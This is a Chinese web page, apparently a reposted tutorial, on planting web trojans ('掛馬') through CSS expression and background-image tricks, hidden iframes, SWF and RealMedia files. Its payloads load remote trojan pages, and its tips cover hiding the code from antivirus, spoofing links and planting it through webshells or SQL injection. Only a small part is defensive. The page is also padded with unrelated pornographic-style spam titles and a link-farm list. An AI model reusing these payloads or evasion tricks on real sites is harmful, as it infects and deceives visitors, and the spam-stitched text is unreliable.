久久天堂一区二区三区_国内精品久久久久影院网站_亚洲国产一区二区三区最新_亚洲国产一区二区三区四区五区

CSS掛馬的相關知識及相應防范方法

        隨著Web2.0的普及,各種網頁特效用得越來越多,這也給黑客一個可乘之機。他們發現,用來制作網頁特效的CSS代碼,也可以用來掛馬。而比較諷刺的是,CSS掛馬方式其實是從防范E掛馬的CSS代碼演變而來。

        網站掛馬的手段最初非常單一,但是隨著Web2.0技術以及Blog、Wiki等廣泛的應用,掛馬也涌現出各種各樣的技術,其中CSS掛馬方式,可以說是Web2.0時代黑客的最愛。有許多非常著名的網站都被黑客用CSS掛馬入侵過。

        在我印象中,記憶最深刻的一次是百度空間CSS掛馬。當時,百度空間推出沒有多久,就有許多百度用戶收到了類似“哈,節日快樂呀!熱烈慶祝2008,心情好好,記住要想我!http://hi.baidu.com/XXXXX”的站內消息。

        由于網址是百度空間的網址,許多用戶認為不會存在安全問題,加上又有可能是自己朋友發來的,因此會毫不猶豫地點擊進入。但是進入指定的網址后,用戶就會感染蠕蟲病毒,并繼續傳播。

        由于蠕蟲擴散非常嚴重,最終導致百度空間不得不發布官方聲明提醒用戶,并且大費周折地在服務器中清除蠕蟲的惡意代碼。那一次的掛馬事件利用的就是百 度空間CSS模板功能,通過變形的e-xpression在CSS代碼中動態執行腳本,讓指定的遠程惡意代碼文件在后臺悄悄運行并發送大量偽造信息。

        我建議大家在點擊陌生鏈接時,要多個心眼,大網站也是可能被掛馬的。大家在上網時,最好還是使用一些帶網頁木馬攔截功能的安全輔助工具。

黑客為什么選擇CSS掛馬?

        在Web1.0時代,使用E掛馬對于黑客而言,與其說是為了更好地實現木馬的隱藏,倒不如說是無可奈何的一個選擇。在簡單的HTML網頁和缺乏交互性的網站中,黑客可以利用的手段也非常有限,即使采取了復雜的偽裝,也很容易被識破,還不如E來得直接和有效。

        但如今交互式的Web2.0網站越來越多,允許用戶設置與修改的博客、SNS社區等紛紛出現。這些互動性非常強的社區和博客中,往往會提供豐富的功能,并且會允許用戶使用CSS層疊樣式表來對網站的網頁進行自由的修改,這促使了CSS掛馬流行。

小百科:

        CSS是層疊樣式表(CascadingStyleSheets)的英文縮寫。CSS最主要的目的是將文件的結構(用HTML或其他相關語言寫的)與文件的顯示分隔開來。這個分隔可以讓文件的可讀性得到加強、文件的結構更加靈活。

        黑客在利用CSS掛馬時,往往是借著網民對某些大網站的信任,將CSS惡意代碼掛到博客或者其他支持CSS的網頁中,當網民在訪問該網頁時惡意代碼 就會執行。這就如同你去一家知名且證照齊全的大醫院看病,你非常信任醫院,但是你所看的門診卻已經被庸醫外包了下來,并且打著醫院的名義利用你的信任成功 欺騙了你。但是當你事后去找人算賬時,醫院此時也往往一臉無辜。對于安全工程師而言,CSS掛馬的排查是必備常識。

CSS掛馬攻防實錄

        攻CSS掛馬方式較多,但主流的方式是通過有漏洞的博客或者SNS社交網站系統,將惡意的CSS代碼寫入支持CSS功能的個性化頁面中。下面我們以典型的CSS掛馬方式為例進行講解。

方式1:

Body

“background-image”在CSS中的主要功能是用來定義頁面的背景圖片。這是最典型的CSS掛馬方式,這段惡意代碼主要是通過“background-image”配合t代碼讓網頁木馬悄悄地在用戶的電腦中運行。

        那如何將這段CSS惡意代碼掛到正常的網頁中去呢?黑客可以將生成好的網頁木馬放到自己指定的位置,然后將該段惡意代碼寫入掛馬網站的網頁中,或者掛馬網頁所調用的CSS文件中。

小百科:

        使用Body對象元素,主要是為了讓對象不再改變整個網頁文檔的內容,通過Body對象的控制,可以將內容或者效果控制在指定的大小內,如同使用DIV對象那樣精確地設置大小。

方式2:

Body

background-image: url(t:open(”http://www.X.com/muma.htm“,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))

        方式1的CSS掛馬技術,在運行時會出現空白的頁面,影響網頁訪問者正常的訪問,因此比較容易發現。不過在方式2中的這段代碼,使用了t的Open 開窗,通過新開一個隱藏的窗口,在后臺悄悄地運行新窗口并激活訪問網頁溢出木馬頁面,不會影響訪問者觀看網頁內容,因此更加隱蔽。

        防網絡服務器被掛馬,通常會出現防病毒軟件告警之類的信息。由于漏洞不斷更新,掛馬種類時刻都在變換,通過客戶端的反映來發現服務器是否被掛馬往往疏漏較大。正確的做法是經常檢查服務器日志,發現異常信息,經常檢查網站代碼,使用網頁木馬檢測系統,進行排查。

        目前除了使用以前的阻斷彈出窗口防范CSS掛馬之外,還可以在網頁中設置CSS過濾,將CSS過濾掉。不過如果你選擇過濾CSS的話,首先需要留意自己的相關網頁是否有CSS的內容,因此我們仍然首推用阻斷方式來防范CSS。阻斷代碼如下所示:

emiao1:e-xpression(this.src=”about:blank”,this.outerHTML=”");

        將外域的木馬代碼的src重寫成本地IE404錯誤頁面的地址,這樣,外域的t代碼不會被下載。不過阻斷方式也有天生致命的弱點,弱點的秘密我們將于下次揭曉。


幾種常見CSS掛馬代碼示例:

網上流行的:
body
{
background-image: url('javascript:document.write("
")')
}

//此方法會使主頁不正常.返回一片空白.
用彈窗.
body
{
background-image: url('javascript:open("http://192.168.0.5/test.htm")')
}

//彈出一個框.難看 易被發現.
改進一下:

body
{
background-image: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}

test.htm里面的代碼,a.js為你的網馬,彈出一個不可見的窗口,并在5秒自動后關閉沒提示:



a.js內容:
document.write('<!--Iframe src="http://192.168.0.5/calc.htm"></iframe-->');


黑客常用的掛馬方法及防范

1、掛馬的N種方法

(1) HTML掛馬法。

        常規的HTML掛馬方法一般是在網頁中插入一條iframe語句,像。查看站點是否被掛,一般是查找一下關鍵詞iframe。

(2) 再隱藏一點的就是js掛馬了。

        像再原來的網頁中寫入 ,horse里的js寫法一般為 document.write(’http:\/\/www.arthack.org\/horse.html’>;,或者專業一點的寫法是 top.document.body.innerHTML = top.document.body.innerHTML + ‘\r\n”;。不過第2種寫法要注意:是原來的網頁種要有body標簽。

3) 在 css中掛馬。

這個方法就是在css中寫入
body {
hytop:e­xpression(top.document.body.innerHTML = top.document.body.innerHTML + ‘\r\n
<!--iframe src=http://www.xxx.com/horse.html/”></iframe-->’);
}

        然后在主頁中調用這個CSS,代碼類似http://www.arthack.org/css.css” rel=”stylesheet” type=”text/css”>這樣的。在csdn 中對e­xpression的解釋是:IE5及其以后版本支持在CSS中使用e­xpression,用來吧CSS屬性和javascript表達式關聯起來,這里的CSS屬性可以是元素固有的屬性,也可以是自定義屬性。也就是說CSS屬性后面可以是一段Javasccript表達式,CSS屬性的值等于 javascript表達式計算的結果。在表達式中可以是直接一用元素自身的屬性和方法,也可以使用其它瀏覽器對象。這個表達式就好像是在這個元素的一個成員函數中一樣。整個解釋關鍵點是e­xpression可以在css中引入js語句,所以我們可用于掛馬。不過寫的語句值可以遠程調用,本地不可以。

(4) 在swf中掛馬

        網上有一些swf掛馬的工具,可以用工具替換原來網頁中的swf或單獨把swf發給對方,一可以單獨作一個可顯示swf頁的網頁。在網頁中插入swf的語法一般格式為:

(5) 在影音文件中掛馬。

        所需工具是RealMedia Editor,打開工具后,然后依次選擇”文件”-”打開Real媒體文件”,然后選擇需要編輯的視頻文件,其格式必須是RealOne公司的以RM或 RMVB為擴展名的文件。接著,新建一個文本,在里面輸入u 00:00:10:0 00:00:30.0&&_rpexternal& http://www.arthack.org/horse.htm (00:00:10.0就是發生第一事件的時間,這里是讓計算機彈出網頁;00:00:30.0同樣,這是第二次發生的時間,在0時0分第30秒0微妙時彈出窗口;而后面的URL地址就是連接指定的木馬地址。)

        輸入完畢后并保存,然后依次選擇”工具”-”合并事件”,導入剛才的文本。當合并完成后,依次選擇”文本”-”Real文件另存為”,保存好即可。

        最后把生成的視頻文件發布網上,當對方觀看同時就會連接到你指定的木馬地址

2、掛馬的技巧

        掛馬首先要求的是隱蔽性,這樣掛的時間才能長。像在SWF、JS、RM中掛馬就是比較隱蔽了,但是還可再用到些技巧。

(1)遠程任意后綴執行HTML

        可以把horse.html改成horse.jpg之類的后綴,然后語句寫成。js也可以,語句為 ,甚至js的不要后綴名都可以。

2)JS的加密

        為了保護網頁木馬的代碼,可以把JS內容加密,還能躲開殺軟的作用。如果使用ENCODE加密方式,加密后的JS調用語句就用。除此方法外,還有其它更多的方法!

(3)URL的變形

        URL的變形方法也有很多,例如將url的16進制轉換為encod編碼等。如果是涉及到URL欺騙的方法就更多了,不過多數的URL欺騙,像利用@的技巧,IE都已經打補丁了。但現在有個漏洞仍然有效,代碼如下:
<!-->
<a id=”CZY” href=http://www.arthack.org”></a>
<div>
<a href=http://www.google.cn” target=”_blank”>
<table>
<caption>
<a href=http://www.google.cn” target=”_blank”>
<label for=”CZY”>
<u style=”cursor: pointer: color: blue”>
Google</u>
</label></a></caption></table></a></div><-->

    保存該代碼為網頁后,鼠標移動到Google這個鏈接上時,IE狀態欄顯示的http://www.google.cn,但點擊鏈接后卻打開 http://www.arthack.org網站。如果你的網馬可以用IP地址訪問到的話,IP地址也可以進行轉換的。像127.0.0.1這樣的IP 還可以 變為 2130706433、0×7f.0×00.0×00.0×01、0177.0000.0000.0001等等,這只不過是8進制、10進制、16進制、的轉換而已。

3、如何才能掛到馬

    拿到了webshell的話,掛馬自然是很簡單了。但是拿不到的情況下,如果注入點有update權限,我們可以仔細查找首頁中的某條新聞的調用鏈接,然后update數據庫達到我們的目的。如果可進入后臺,我沒就可以在一些發公告的地方寫入自己的木馬代碼(不過千萬別打亂前臺html源文件里的代碼邏輯)。

北大青鳥網上報名
北大青鳥招生簡章
久久天堂一区二区三区_国内精品久久久久影院网站_亚洲国产一区二区三区最新_亚洲国产一区二区三区四区五区

      9000px;">

          91精品在线麻豆| 国产午夜一区二区三区| 日韩欧美国产麻豆| 日av在线不卡| 久久亚洲欧美国产精品乐播| 成人av第一页| 日韩精品欧美成人高清一区二区| 欧美日韩一区二区在线观看| 麻豆极品一区二区三区| 国产欧美日韩视频一区二区| 色一情一乱一乱一91av| 日韩va亚洲va欧美va久久| 久久久精品日韩欧美| 色综合久久久久综合| 精品一区二区综合| 欧美精品一区二区久久婷婷 | 在线观看亚洲精品视频| 日本麻豆一区二区三区视频| 国产精品私房写真福利视频| 欧美日本韩国一区二区三区视频| 国产精品资源站在线| 亚洲在线观看免费| 欧美一区二区三区四区视频| 成人aaaa免费全部观看| 国产美女久久久久| 免费在线视频一区| 亚洲国产日韩精品| 亚洲欧美一区二区三区孕妇| 国产亚洲欧美在线| 欧美xingq一区二区| 欧美日韩亚洲综合一区| 国产成人自拍网| 日本成人在线不卡视频| 亚洲二区在线视频| 亚洲女人小视频在线观看| www久久精品| 91精品午夜视频| 欧美日本在线播放| 色狠狠色狠狠综合| 91小视频在线| 菠萝蜜视频在线观看一区| 久久国产精品99久久久久久老狼 | 欧美国产日韩a欧美在线观看 | 欧美伦理电影网| 色综合久久天天| 91色.com| 99久久99久久综合| 国产综合久久久久久久久久久久| 日韩精品电影在线观看| 国产精品久久久久国产精品日日 | 久久亚洲精品国产精品紫薇| 日韩视频国产视频| 日韩欧美在线123| 在线国产亚洲欧美| 99视频在线精品| 97久久超碰精品国产| 粉嫩在线一区二区三区视频| 美女www一区二区| 麻豆国产精品官网| 日韩激情一区二区| 国产制服丝袜一区| av不卡在线观看| 欧美唯美清纯偷拍| 日韩西西人体444www| 精品欧美一区二区久久 | 美脚の诱脚舐め脚责91 | 91丨porny丨首页| 色综合久久久久久久久| 成人黄色av电影| youjizz久久| 成人免费高清在线| 99久久99久久久精品齐齐| 99久久国产免费看| 色av成人天堂桃色av| 欧美日韩一级片网站| 欧美日韩精品福利| 日韩亚洲电影在线| 综合久久久久久久| 亚洲精品老司机| 亚洲一区二区3| 婷婷夜色潮精品综合在线| 亚洲午夜久久久久久久久电影网 | 一区二区三区国产精华| 日韩国产精品久久久久久亚洲| 伊人婷婷欧美激情| 日韩精品一级中文字幕精品视频免费观看 | 图片区日韩欧美亚洲| 秋霞影院一区二区| 成人av影视在线观看| 97久久精品人人做人人爽50路| 色悠久久久久综合欧美99| 在线电影院国产精品| 欧美草草影院在线视频| 中文字幕一区二区三区不卡在线 | 日本91福利区| 成人晚上爱看视频| 这里只有精品电影| 亚洲一区二区三区视频在线播放| 人人爽香蕉精品| 色噜噜狠狠色综合中国| 久久亚洲欧美国产精品乐播| 亚洲成人av在线电影| 国产精品一二三四| 欧美日韩亚洲综合在线 欧美亚洲特黄一级| 精品国产麻豆免费人成网站| 一区二区三区欧美| 99精品久久只有精品| 欧美va日韩va| 久久国产福利国产秒拍| 欧美一三区三区四区免费在线看| 国产精品久久久久久久久久久免费看| 蜜桃视频免费观看一区| 欧美性色黄大片| 亚洲精品乱码久久久久久| 成人18视频日本| 国产欧美久久久精品影院| 国产在线播精品第三| 欧美一级日韩免费不卡| 三级影片在线观看欧美日韩一区二区| 一本一道波多野结衣一区二区| 久久婷婷综合激情| 国产精品中文字幕日韩精品| 日韩三级视频在线观看| 麻豆91免费观看| 91精品国产高清一区二区三区蜜臀 | 7777女厕盗摄久久久| 天天综合色天天综合色h| 欧美性一二三区| 三级欧美韩日大片在线看| 91精品欧美福利在线观看| 免费一级欧美片在线观看| 91精品国产色综合久久ai换脸| 日韩精品五月天| 精品国产一区二区三区四区四| 国产91精品露脸国语对白| 亚洲欧美中日韩| 在线亚洲高清视频| 亚洲123区在线观看| 日韩美女视频一区二区在线观看| 国内成人精品2018免费看| 久久久高清一区二区三区| 不卡的电影网站| 一区二区三区在线视频观看| 欧美日韩卡一卡二| 蜜桃久久久久久久| 精品国产sm最大网站免费看| 成人精品小蝌蚪| 午夜精品免费在线观看| 精品国产不卡一区二区三区| av电影天堂一区二区在线观看| 亚洲欧美国产高清| 欧美一区二区三区的| 国产91丝袜在线播放0| 亚洲午夜在线电影| 国产婷婷色一区二区三区在线| 91捆绑美女网站| 日本少妇一区二区| 中文字幕亚洲综合久久菠萝蜜| 欧美日韩中文另类| av电影在线观看一区| 极品少妇xxxx偷拍精品少妇| 一区二区在线观看av| 亚洲精品一区二区在线观看| 91免费在线播放| 国产乱人伦偷精品视频免下载| 亚洲制服丝袜av| 国产精品国产三级国产aⅴ无密码| 欧美日韩亚洲国产综合| 97se亚洲国产综合自在线| 美日韩一级片在线观看| 亚洲大片免费看| 中文字幕亚洲区| 国产日韩视频一区二区三区| 日韩免费高清电影| 欧美影院一区二区三区| 成人一区二区视频| 国产一区久久久| 亚洲一区二区三区视频在线播放 | 亚洲男人的天堂在线aⅴ视频| www亚洲一区| 日韩一卡二卡三卡四卡| 欧美天堂一区二区三区| 99久久精品国产毛片| 国产精品一二三区在线| 国内一区二区在线| 久久精品国产澳门| 久久99精品久久只有精品| 午夜电影一区二区| 亚洲国产日韩在线一区模特| 亚洲最新视频在线播放| 亚洲激情校园春色| 亚洲女同ⅹxx女同tv| 亚洲免费大片在线观看| 亚洲色大成网站www久久九九| 中文字幕一区二区三区精华液| 久久久777精品电影网影网 | 日韩三级在线观看| 91精品国产欧美一区二区18| 欧美日韩一区久久| 欧美精品一二三|